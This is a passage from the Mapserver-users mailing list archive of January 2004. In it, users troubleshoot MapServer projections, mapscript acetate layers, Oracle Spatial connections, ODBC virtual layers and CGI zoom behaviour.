END # END LAYERFILE

Cheers,

Till

Ballini Yvain schrieb:
> Hi List,
> 
> I would like to know if someone has already used some tab file or
> shapefile in a mapserver application containing some oriented symbol
> (like a directional arrow, for example). The problem isnt' dealing with
> the case of label orientating because the tab file (or the shapefile,
> without OGR support) which is used has a "Point" geometry and not a
> "Line String" geometry.
> Under there is an extract of my tab file whose I get the features info
> with ogrinfo ("ogrinfo small_arrow.tab small_arrow"):
>  
> Layer name: small_arrow
> Geometry: Point
> Feature Count: 267349
> Extent: (6.682870, 36.681040) - (18.495850, 46.895265) Layer SRS WKT:
> GEOGCS["unnamed",
>     DATUM["WGS_1984",
>         SPHEROID["WGS 84",6378137,298.257223563],
>         TOWGS84[0,0,0,0,0,0,0]],
>     PRIMEM["Greenwich",0],
>     UNIT["degree",0.0174532925199433]]
> LABEL: String (70.0)
> OGRFeature(small_arrow):1
>   LABEL (String) =
>   Style = SYMBOL(a:110,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
>   POINT (8.85458500 45.96532000)
> 
> OGRFeature(small_arrow):2
>   LABEL (String) =
>   Style = SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
>   POINT (8.85363000 45.96459000)
> ...
> 
> In fact, I would like to know if there is a way to use correctly this
> tab file in mapserver or if I must use other data with my present
> version of mapserver 4.0.
> Any suggestion?
> Thanks ! :)
> Yvain.
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 


-- 

NEU +++ NEU +++ NEU +++ NEU

    AveiN! ist Open Source
Lizensiert unter der GNU GPL

-----

Dipl. Geogr. Till Adams
terrestris, Paulsen&Adams GbR
Siemensstr. 8 * 53121 Bonn
Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57
info at terrestris.de * www.terrestris.de




From stephen.clark at focus.ca  Tue Jan 13 10:13:23 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Tue, 13 Jan 2004 10:13:23 -0800
Subject: [Mapserver-users] Projection trouble
References: <4004203E.6030406@libero.it>
Message-ID: <006f01c3da00$ef176990$6c000a0a@sclark>

TRY

  METADATA
    WMS_TITLE "Your title "
    WMS_SRS "EPSG:26932"
  END


in your layer

Stephen

----- Original Message ----- 
From: "opengis_libero" 
To: 
Sent: Tuesday, January 13, 2004 8:43 AM
Subject: [Mapserver-users] Projection trouble


> Howdy,
>
> I've problem on mapserver shape file projection (on Window2000, Apache).
> mapserv -v
> MapServer version 3.6.3 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
> SUPPORTS=PROJ
>  SUPPORTS=TTF SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=EPPL7
> INPUT=POSTGIS
> INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
> --Other project work fine--
>
> Shape file come with *.shp, *.shx, *.sbn, *.sbx, *.dbf and *.prj
> The last one is:
>
PROJCS["WGS_1984_UTM_Zone_32N",GEOGCS["GCS_WGS_1984",DATUM["D_WGS_1984",SPHE
ROID["WGS_1984",6378137.0,298.257223563]],PRIMEM["Greenwich",0.0],UNIT["Degr
ee",0.0174532925199433]],PROJECTION["Transverse_Mercator"],PARAMETER["False_
Easting",500000.0],PARAMETER["False_Northing",0.0],PARAMETER["Central_Meridi
an",9.0],PARAMETER["Scale_Factor",0.9996],PARAMETER["Latitude_Of_Origin",0.0
],UNIT["Meter",1.0]]
>
> mapfile without PROJECTION doesn't draw map
>
> In map file if I try:
> PROJECTION
>   geographic
> END
> In browser I've:
> msProcessProjection(): Projection library error. PROJECTION 'GEOGRAPHIC'
> no longer supported. Provide explicit definition. ie. proj=latlong
> ellps=clrk66
> --This error msg tell me proj4 work.
> I think that I must change epsg, but I'don't know how and how can use in
> map file.
>
> Thanks in advance
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From thomas.whanger at zeltech.com  Tue Jan 13 09:22:37 2004
From: thomas.whanger at zeltech.com (Whanger, Thomas)
Date: Tue, 13 Jan 2004 12:22:37 -0500
Subject: [Mapserver-users] 2 MapServer Questions
Message-ID: 

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3D9F9.D6F76F10
Content-Type: text/plain

Hi All,

 

I am just beginning work with MapServer, and I have a few questions about
it.

- My data is stored in a Sybase database with an SQS.  Can I access it with
MapServer?  If so, are there any examples?

- I am having a hard time figuring out the extent keyword under map.  Does
anyone have any pointers about figuring this out for a .shp file?

Any help would be greatly appreciated.  Thanks in advance for your time and
help.

-Tom


------_=_NextPart_001_01C3D9F9.D6F76F10
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable


















Hi All,



 



I am just beginning work with MapServer, and I have =
a few
questions about it.



- My data is stored in a =
Sybase
database with an SQS.  Can I access it with MapServer?  If =
so, are
there any examples?



- I am having a hard time =
figuring
out the extent keyword under map.  Does anyone have any pointers =
about
figuring this out for a .shp file?



Any help would be greatly appreciated.  Thanks =
in
advance for your time and help.



-Tom









------_=_NextPart_001_01C3D9F9.D6F76F10--


From spoerri at duke.edu  Tue Jan 13 09:38:52 2004
From: spoerri at duke.edu (Christoph Spoerri)
Date: Tue, 13 Jan 2004 12:38:52 -0500
Subject: [Mapserver-users] mapscript - strange behavior
In-Reply-To: <006f01c3da00$ef176990$6c000a0a@sclark>
References: <4004203E.6030406@libero.it> <006f01c3da00$ef176990$6c000a0a@sclark>
Message-ID: <200401131238.52884.spoerri@duke.edu>

Hi there,

I'm writing an application that let's user add point features to the map by 
clicking on any location of the map. For this purpose I'm using the attached 
code (Note: each click on the map results in a request to the server for a 
new image).

The problem is that the first point (to be mapped) is not displayed on the 
map. Yet when the user clicks on the map for the second time (to add a new 
point) both points show up. When checking the .map files everything looks 
fine: acetate layer is there, class definition looks fine and point 
coordinates are there.

In case a predefine the acetate layer (w/ class def) in the base .map file, 
the first point shows up just fine. Note: this solution is not an option 
thought :(

any ideas? Thanks in advance,
Christoph


*********** code ********************

	x = atof(param['x'])
	y = atof(param['y'])
	# create point object
 	ptCoord = getMapPoint([x,y],self._map)
 	ptObj = pointObj()
 	ptObj.x=ptCoord[0]
 	ptObj.y=ptCoord[1]
	lnObj = lineObj()
	lnObj.add(ptObj)

	# create new point layer with class and add shape
	mapImg=self._map.prepareImage()
		lyrAcetate = self._map.getLayerByName('acetate')
	if (not isinstance(lyrAcetate,layerObj)):
		color = colorObj()
		color.red = 255
		color.green = 255
		color.blue = 255
		lyrAcetate = layerObj(self._map)
		lyrAcetate.name = "acetate"
		lyrAcetate.type = MS_LAYER_POINT
		classTemp = classObj(lyrAcetate)
		styl = styleObj()
		styl.symbolname = "pin"
		styl.size = 1
		styl.maxsize = 1
		styl.minsize = 1
		styl.color = color
		styl.backgroundcolor = color
		styl.outlinecolor = color
		classTemp.numstyles=1
		classTemp.styles = styl

	# create shape object and add point to shape object
	shpObj = shapeObj(MS_SHAPE_POINT)
	shpObj.add(lnObj)
	shpObj.setBounds();
	shpObj.index = 1

	lyrAcetate.status = MS_ON
	lyrAcetate.addFeature(shpObj)
	lyrAcetate.draw(self._map,mapImg)

	imagename =   \ 
self._map.name+mapSession.id()+"_"+str(int(time()))+"."+mapImg.format.extension
	mapImg.save(mapImg.imagepath+imagename)



From DOtt at PALATINE.IL.US  Tue Jan 13 10:16:46 2004
From: DOtt at PALATINE.IL.US (Dale Ott)
Date: Tue, 13 Jan 2004 12:16:46 -0600
Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #400 - 39 msgs (Auto Reply.)
Message-ID: 

Sorry but I will be out of the Office until Tuesday, Jan 20th, 2004 . I will be checking my email as soon as I return and will get back to you as soon as possible. Sorry for any inconvenience. Thanks!



From nicolas.fortin at ec.gc.ca  Tue Jan 13 10:38:58 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Tue, 13 Jan 2004 13:38:58 -0500
Subject: Oracle problems - [Mapserver-users] WMS LAYERS= [SOLVED] But
 an Oracle one too!
Message-ID: 

Hi Fernando, thx for your answer

The server is Win2k with IIS.
I don't have the right to use debug log file on it yet so I can't say more
on the error message.
The connection and map work well on my workstation but not on the server.

Nick

-----Message d'origine-----
De : Fernando S. [mailto:simon at inf.univali.br] 
Envoy? : Tuesday, January 13, 2004 12:16 PM
? : nicolas.fortin at ec.gc.ca
Objet : RE: Oracle problems - [Mapserver-users] WMS LAYERS= [SOLVED] But an
Oracle one too!


Nick,
    Hi my name is Fernando Simon, I work in G10 (Laboratorio de 
computacao aplicada) we developer the drive that mapserv use to connect 
with Oracle Spatial. Well, I don't know if I can help you, but I will try.
    To solve the problems I need do some questions.
        The mapserv report more error mensages about the connection with 
Oracle?
        What system are you using? (S.O., Apache, Php version)
   
    Well, if you are using apache, the problem can be with apache 
configuration (http.conf).
    Are you set Oracle variables in http.conf?
    Look an example:
        SetEnv ORACLE_SID TEST
        SetEnv ORACLE_BASE /opt/oracle
        SetEnv ORACLE_HOME /opt/oracle/product/9.2.0
        SetEnv ORA_NLS33 /opt/oracle/product/9.2.0/ocommon/nls/admin/data

    Well, sorry my poor english. If you need some help, you can report me.
     Thank`s.

==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 -
Laborat?rio de Computa??o Aplicada
Fone: 047 - 341 7960
http://g10.cttmar.univali.br
==================================================================



nicolas.fortin at ec.gc.ca wrote:

>Problem solved!
>The mapfile sent below is not exactly the right one, in the other, one 
>group has the same name as a layer.  By renaming the group, all is back 
>to normal.
>
>Thx for your help!
>
>Now we have a weird oracle error message from the server we're trying 
>to install mapserver, here it is:
>msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
>msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>
>I searched the archive but found nothing...
>An idea? Someone...
>
>Nick
>  
>




From sgillies at frii.com  Tue Jan 13 11:28:35 2004
From: sgillies at frii.com (Sean Gillies)
Date: Tue, 13 Jan 2004 12:28:35 -0700
Subject: [Mapserver-users] mapscript - strange behavior
In-Reply-To: <200401131238.52884.spoerri@duke.edu>
References: <4004203E.6030406@libero.it> <006f01c3da00$ef176990$6c000a0a@sclark> <200401131238.52884.spoerri@duke.edu>
Message-ID: 

On Jan 13, 2004, at 10:38 AM, Christoph Spoerri wrote:

> Hi there,
>
> I'm writing an application that let's user add point features to the  
> map by
> clicking on any location of the map. For this purpose I'm using the  
> attached
> code (Note: each click on the map results in a request to the server  
> for a
> new image).
>
> The problem is that the first point (to be mapped) is not displayed on  
> the
> map. Yet when the user clicks on the map for the second time (to add a  
> new
> point) both points show up. When checking the .map files everything  
> looks
> fine: acetate layer is there, class definition looks fine and point
> coordinates are there.
>
> In case a predefine the acetate layer (w/ class def) in the base .map  
> file,
> the first point shows up just fine. Note: this solution is not an  
> option
> thought :(
>
> any ideas? Thanks in advance,
> Christoph
>
>
> *********** code ********************
>
> 	x = atof(param['x'])
> 	y = atof(param['y'])
> 	# create point object
>  	ptCoord = getMapPoint([x,y],self._map)
>  	ptObj = pointObj()
>  	ptObj.x=ptCoord[0]
>  	ptObj.y=ptCoord[1]
> 	lnObj = lineObj()
> 	lnObj.add(ptObj)
>
> 	# create new point layer with class and add shape
> 	mapImg=self._map.prepareImage()
> 		lyrAcetate = self._map.getLayerByName('acetate')
> 	if (not isinstance(lyrAcetate,layerObj)):
> 		color = colorObj()
> 		color.red = 255
> 		color.green = 255
> 		color.blue = 255
> 		lyrAcetate = layerObj(self._map)
> 		lyrAcetate.name = "acetate"
> 		lyrAcetate.type = MS_LAYER_POINT
> 		classTemp = classObj(lyrAcetate)
> 		styl = styleObj()
> 		styl.symbolname = "pin"
> 		styl.size = 1
> 		styl.maxsize = 1
> 		styl.minsize = 1
> 		styl.color = color
> 		styl.backgroundcolor = color
> 		styl.outlinecolor = color
> 		classTemp.numstyles=1
> 		classTemp.styles = styl
>
> 	# create shape object and add point to shape object
> 	shpObj = shapeObj(MS_SHAPE_POINT)
> 	shpObj.add(lnObj)
> 	shpObj.setBounds();
> 	shpObj.index = 1
>
> 	lyrAcetate.status = MS_ON
> 	lyrAcetate.addFeature(shpObj)
> 	lyrAcetate.draw(self._map,mapImg)
>
> 	imagename =   \
> self._map.name+mapSession.id()+"_"+str(int(time()))+"."+mapImg.format.e 
> xtension
> 	mapImg.save(mapImg.imagepath+imagename)
>

Christoph,

Do I remember correctly that you are using mod_python?  Is this a reason
why you say that you cannot predefine your acetate layer?  I hope you  
are
not trying to persist a mapObj in the same way that mod_python users use
persistent database connections.  MapServer is not fully thread-safe  
(yet)
and so you will certainly encounter some trouble with a persistent  
mapObj.

I don't see _anything_ in your code that would prevent the acetate layer
from being predefined in your map file.  If it is only a matter of
colors and styles, I strongly recommend that you predefine the acetate
layer and then modify its classes and styles during the script  
execution.

cheers,
Sean

--
Sean Gillies
sgillies at frii dot com
http://users.frii.com/sgillies



From niko at isl.net.mx  Tue Jan 13 11:12:53 2004
From: niko at isl.net.mx (Nikolai Vladychevski)
Date: Tue, 13 Jan 2004 19:12:53 GMT
Subject: [Mapserver-users] regarding msgbox and img.x img.y
Message-ID: <20040113191253.29600.qmail@quazartecnologia.com>

Hello, 

This 2 requests differ what in the first does the zoom after the user draged 
the box with the mouse , the second does not.
http://10.1.17.108/cgi-bin/mapserv?imgbox=181+235+339+360&imgxy=399.5+299.5& 
imgext=-117.124014+8.397005+-86.709056+38.851803&map=%2Fvar%2Fwww%2Fhtml%2Fm 
apdev%2Fmy.map&savequery=true&program=%2Fcgi-bin%2Fmapserv&map_web_imagepath 
=%2Fvar%2Fwww%2Fhtml%2Ftmp%2F&map_web_imageurl=%2Ftmp%2F&layer=enlaces&layer 
=emplazamientos&mode=browse&zoomdir=0&zoomsize=2
http://10.1.17.108/cgi-bin/mapserv?imgbox=181+235+339+360&imgxy=399.5+299.5& 
imgext=-117.124014+8.397005+-86.709056+38.851803&map=%2Fvar%2Fwww%2Fhtml%2Fm 
apdev%2Fmy.map&savequery=true&program=%2Fcgi-bin%2Fmapserv&map_web_imagepath 
=%2Fvar%2Fwww%2Fhtml%2Ftmp%2F&map_web_imageurl=%2Ftmp%2F&img.x=327&img.y=348 
&layer=enlaces&layer=emplazamientos&mode=browse&zoomdir=0&zoomsize=2 

I adapted a RBand.zip javascript source code to drag a box to zoom into, but 
it doesn't work. According to the rules, "imgbox" CGI variable is the first 
one in priority to evaluate but I think the "img.x" and "img.y" variables 
are still interfering to get the correct results. When I remove them, as in 
first request above, it works, but if I don't, the "img.x" and "img.y" 
variables generated by the user click (unavoidable, user clicks on the image 
to drag the box) are getting the priority and the result is a positioniong 
instead of zoom. 

Is there a way to remove "img.x" and "img.y" variables with javascript 
before the form is sent (even if click event is generated by draging the box 
over image) or is there any other way to fix this? 

Thanks in advance
Nikolai 

Below is the HTML with Javascript code:




 











 










 

   

   

      Powered by MapServer
      

   

 



 

   

	
	Capas:
	 
Enlaces ()
	 Emplazamientos ()
	
 

	Mapa:
      Navegar
      Consultar

	Navegación:
      Zoom In
      Centrar
      Zoom Out
     Magnitud del Zoom:  

     

	
     

    
   

   Emplazamiento: 
   
   
 

   
 

 





Escala actual: [scale]



From jcable at gi.alaska.edu  Tue Jan 13 12:15:13 2004
From: jcable at gi.alaska.edu (Jay Cable)
Date: Tue, 13 Jan 2004 11:15:13 -0900 (AKST)
Subject: [Mapserver-users] Shape file and AUTO projection problems
Message-ID: 

Hello,
I am having problems using shapefiles and the AUTO:42003 projection.  When
displaying views of data the encompass the entire earth, mapserver appears
to draw a lot of extra lines to the origin.

Here is a sample image with this problem:
http://oldlady.gina.alaska.edu/~jcable/broken.gif

The problem appears to go away when the area displayed is reduced:
http://oldlady.gina.alaska.edu/~jcable/working.gif


I believe the shapefiles are correct, as they are sample shape files
provided by ERSI.  I have also tried other shapefiles and encountered the
same problem.

The problem does not appear to occur with other projections I tried.

Any suggestions as to how I can get around or fix this?  Am I doing
something wrong?  I tried adjusting the extent with no effect.

I am using mapserver 4.0, but also tried the latest 4.0.1, and it does the
same thing.

Thanks in advance,
  -Jay Cable
  jcable at gi.alaska.edu

-----------------------------------------------------------------------

Here is what my map file looks like:

  EXTENT -180.0 -90.0 180.0 90.0
  IMAGECOLOR 255 255 255

  IMAGETYPE GIF

  PROJECTION
    "init=epsg:4318"
  END

  WEB
    IMAGEPATH '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/'
    IMAGEURL '/htdocs/tmp/'
    LOG '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/log'

    METADATA
        "wms_srs"                   "EPSG:4318 AUTO:42003 AUTO:42001 AUTO:42002 AUTO:42004   AUTO:42008"
    END

  END


  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER # country polygon layer begins here
    NAME Country
    DATA "/scratch/jcable/shape_files/country"
    STATUS DEFAULT
    TYPE LINE

    PROJECTION
      "init=epsg:4318"
    END

    CLASS
      #COLOR 232 0 0
      OUTLINECOLOR 232 0 0
    END
  END # country polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------

END # end of map file/object




****************************************************************
Jay Cable                                GINA/ION
tel (907) 474-1856                       Geophysical Institute
jcable at gi.alaska.edu                     University of Alaska
	   	                         P.O. Box 757320
                                         Fairbanks, AK 99775-7320
*****************************************************************


From TMitchell at lignum.com  Tue Jan 13 12:18:27 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 13 Jan 2004 12:18:27 -0800
Subject: [Mapserver-users] (no subject)
In-Reply-To: 
Message-ID: 





Miguel,
Are you able to view any maps or do you get errors?
Do you have the mapserv.exe file saved in your apache cgi-bin folder?

Let us know more details about your problems and we'll help you out.

Tyler

mapserver-users-admin at lists.gis.umn.edu wrote on 01/13/2004 09:03:00 AM:

> I am learning Mapserver. All the demos work ok, except those with dynamic
> maps. I have a pc with Apache and Windows 98. The result maps are
> generated in the machine that works like server, but they are not sent
back
> to the
> client machines in my intranet.
> Is there something that i am missing respect Apache?
> Thak you very much for your help.
>
> Miguel Angel
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From TMitchell at lignum.com  Tue Jan 13 12:21:43 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 13 Jan 2004 12:21:43 -0800
Subject: [Mapserver-users] 2 MapServer Questions
In-Reply-To: 
Message-ID: 





I'd say this is a good question, Tom.  I don't think that out of the box
this is supported.  But this brings a question to mind for me - is anyone
using ODBC with MapServer (CGI not PHP)?

Tyler

mapserver-users-admin at lists.gis.umn.edu wrote on 01/13/2004 09:22:37 AM:

> Hi All,
>
> I am just beginning work with MapServer, and I have a few questions about
it.
> - My data is stored in a Sybase database with an SQS.  Can I access
> it with MapServer?  If so, are there any examples?
> - I am having a hard time figuring out the extent keyword under map.
> Does anyone have any pointers about figuring this out for a .shp file?
> Any help would be greatly appreciated.  Thanks in advance for your
> time and help.
> -Tom



From hjulien at nrcan.gc.ca  Tue Jan 13 12:37:39 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Tue, 13 Jan 2004 15:37:39 -0500
Subject: TR: [Mapserver-users] MySQL and Mapserver
Message-ID: <06B403677C41D51194550002A55107D201F78FA3@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi Paul,
Could you send me or post information on the "new format in 
OGR to set up a virtual layer that can draw columns from any ODBC data 
source and map two of the columns to x and y locations"?

Thanks
H?ryk

-----Message d'origine-----
De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
Envoy? : Monday, January 05, 2004 9:23 AM
? : 'spencer at dmsolutions.ca'
Cc : 'Mapserver-users at lists.gis.umn.edu'
Objet : RE: [Mapserver-users] MySQL and Mapserver


Hi,
I am also very interseted in that fonction. I would like to be able to map
well positions from a database x and y colums. Would this permit me to have
an up to date point geometry layer which reflects the changes in my well
database? Can you send me more details?

Thanks

H?ryk
NRCan

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Saturday, January 03, 2004 4:28 PM
? : bartvde at xs4all.nl
Cc : mapserver-users at lists.gis.umn.edu
Objet : Re: [Mapserver-users] MySQL and Mapserver


Bart,

if you are interested in point geometries only, there is a new format in 
OGR to set up a virtual layer that can draw columns from any ODBC data 
source and map two of the columns to x and y locations.  We've used it 
for a couple of clients and it works very nicely.  If you are interested 
I can send you more details.

Cheers,

Paul

Bart van den Eijnden wrote:

> Hi list,
> 
> I see in the history log that there has been some work done recently 
> (early December) by Attila on supporting MySQL 4.X for the MyGIS 
> connector. Can it be used already?
> 
> Also, is it possible to keep the geometries in shapefiles and use 
> Mapserver JOINS to link to tables in MySQL?
> 
> Thanks in advance for the info.
> 
> Best regards,
> Bart
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From bartvde at xs4all.nl  Tue Jan 13 13:45:22 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Tue, 13 Jan 2004 22:45:22 +0100
Subject: TR: [Mapserver-users] MySQL and Mapserver
In-Reply-To: <06B403677C41D51194550002A55107D201F78FA3@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F78FA3@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: 

Hi,

Paul has put this on the Wiki.

http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData

Best regards,
Bart

On Tue, 13 Jan 2004 15:37:39 -0500, Julien, Heryk  
wrote:

> Hi Paul,
> Could you send me or post information on the "new format in
> OGR to set up a virtual layer that can draw columns from any ODBC data
> source and map two of the columns to x and y locations"?
>
> Thanks
> H?ryk
>
> -----Message d'origine-----
> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Envoy? : Monday, January 05, 2004 9:23 AM
> ? : 'spencer at dmsolutions.ca'
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : RE: [Mapserver-users] MySQL and Mapserver
>
>
> Hi,
> I am also very interseted in that fonction. I would like to be able to 
> map
> well positions from a database x and y colums. Would this permit me to 
> have
> an up to date point geometry layer which reflects the changes in my well
> database? Can you send me more details?
>
> Thanks
>
> H?ryk
> NRCan
>
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Saturday, January 03, 2004 4:28 PM
> ? : bartvde at xs4all.nl
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : Re: [Mapserver-users] MySQL and Mapserver
>
>
> Bart,
>
> if you are interested in point geometries only, there is a new format in
> OGR to set up a virtual layer that can draw columns from any ODBC data
> source and map two of the columns to x and y locations.  We've used it
> for a couple of clients and it works very nicely.  If you are interested
> I can send you more details.
>
> Cheers,
>
> Paul
>
> Bart van den Eijnden wrote:
>
>> Hi list,
>>
>> I see in the history log that there has been some work done recently
>> (early December) by Attila on supporting MySQL 4.X for the MyGIS
>> connector. Can it be used already?
>>
>> Also, is it possible to keep the geometries in shapefiles and use
>> Mapserver JOINS to link to tables in MySQL?
>>
>> Thanks in advance for the info.
>>
>> Best regards,
>> Bart
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>



-- 
  


From spencer at dmsolutions.ca  Tue Jan 13 14:00:22 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Tue, 13 Jan 2004 17:00:22 -0500
Subject: TR: [Mapserver-users] MySQL and Mapserver
In-Reply-To: <06B403677C41D51194550002A55107D201F78FA3@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F78FA3@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <40046A76.7060509@magma.ca>

Maybe you missed it?

http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html

Cheers,

Paul

Julien, Heryk wrote:

> Hi Paul,
> Could you send me or post information on the "new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations"?
> 
> Thanks
> H?ryk
> 
> -----Message d'origine-----
> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Envoy? : Monday, January 05, 2004 9:23 AM
> ? : 'spencer at dmsolutions.ca'
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : RE: [Mapserver-users] MySQL and Mapserver
> 
> 
> Hi,
> I am also very interseted in that fonction. I would like to be able to map
> well positions from a database x and y colums. Would this permit me to have
> an up to date point geometry layer which reflects the changes in my well
> database? Can you send me more details?
> 
> Thanks
> 
> H?ryk
> NRCan
> 
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Saturday, January 03, 2004 4:28 PM
> ? : bartvde at xs4all.nl
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : Re: [Mapserver-users] MySQL and Mapserver
> 
> 
> Bart,
> 
> if you are interested in point geometries only, there is a new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations.  We've used it 
> for a couple of clients and it works very nicely.  If you are interested 
> I can send you more details.
> 
> Cheers,
> 
> Paul
> 
> Bart van den Eijnden wrote:
> 
> 
>>Hi list,
>>
>>I see in the history log that there has been some work done recently 
>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>connector. Can it be used already?
>>
>>Also, is it possible to keep the geometries in shapefiles and use 
>>Mapserver JOINS to link to tables in MySQL?
>>
>>Thanks in advance for the info.
>>
>>Best regards,
>>Bart
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From spoerri at duke.edu  Tue Jan 13 14:30:31 2004
From: spoerri at duke.edu (Christoph Spoerri)
Date: Tue, 13 Jan 2004 17:30:31 -0500
Subject: [Mapserver-users] mapscript - strange behavior
In-Reply-To: 
References: <4004203E.6030406@libero.it> <200401131238.52884.spoerri@duke.edu> 
Message-ID: <200401131730.31405.spoerri@duke.edu>

Yes, I'm using mod_python but don't use a persistent mapObj (I assume you mean 
storing the object as session variable). I tried it, but it lead only to seg. 
faults.

The reason for not using a predefined acetate layers is how my app is coded. I 
didn't want to change things around, and since the problem looks like a bug, 
and I was wondering if there's a solution. Also, I wasn't sure if I'm doing 
something wrong.

Christoph

On Tuesday 13 January 2004 02:28 pm, Sean Gillies wrote:
> On Jan 13, 2004, at 10:38 AM, Christoph Spoerri wrote:
> > Hi there,
> >
> > I'm writing an application that let's user add point features to the
> > map by
> > clicking on any location of the map. For this purpose I'm using the
> > attached
> > code (Note: each click on the map results in a request to the server
> > for a
> > new image).
> >
> > The problem is that the first point (to be mapped) is not displayed on
> > the
> > map. Yet when the user clicks on the map for the second time (to add a
> > new
> > point) both points show up. When checking the .map files everything
> > looks
> > fine: acetate layer is there, class definition looks fine and point
> > coordinates are there.
> >
> > In case a predefine the acetate layer (w/ class def) in the base .map
> > file,
> > the first point shows up just fine. Note: this solution is not an
> > option
> > thought :(
> >
> > any ideas? Thanks in advance,
> > Christoph
> >
> >
> > *********** code ********************
> >
> > 	x = atof(param['x'])
> > 	y = atof(param['y'])
> > 	# create point object
> >  	ptCoord = getMapPoint([x,y],self._map)
> >  	ptObj = pointObj()
> >  	ptObj.x=ptCoord[0]
> >  	ptObj.y=ptCoord[1]
> > 	lnObj = lineObj()
> > 	lnObj.add(ptObj)
> >
> > 	# create new point layer with class and add shape
> > 	mapImg=self._map.prepareImage()
> > 		lyrAcetate = self._map.getLayerByName('acetate')
> > 	if (not isinstance(lyrAcetate,layerObj)):
> > 		color = colorObj()
> > 		color.red = 255
> > 		color.green = 255
> > 		color.blue = 255
> > 		lyrAcetate = layerObj(self._map)
> > 		lyrAcetate.name = "acetate"
> > 		lyrAcetate.type = MS_LAYER_POINT
> > 		classTemp = classObj(lyrAcetate)
> > 		styl = styleObj()
> > 		styl.symbolname = "pin"
> > 		styl.size = 1
> > 		styl.maxsize = 1
> > 		styl.minsize = 1
> > 		styl.color = color
> > 		styl.backgroundcolor = color
> > 		styl.outlinecolor = color
> > 		classTemp.numstyles=1
> > 		classTemp.styles = styl
> >
> > 	# create shape object and add point to shape object
> > 	shpObj = shapeObj(MS_SHAPE_POINT)
> > 	shpObj.add(lnObj)
> > 	shpObj.setBounds();
> > 	shpObj.index = 1
> >
> > 	lyrAcetate.status = MS_ON
> > 	lyrAcetate.addFeature(shpObj)
> > 	lyrAcetate.draw(self._map,mapImg)
> >
> > 	imagename =   \
> > self._map.name+mapSession.id()+"_"+str(int(time()))+"."+mapImg.format.e
> > xtension
> > 	mapImg.save(mapImg.imagepath+imagename)
>
> Christoph,
>
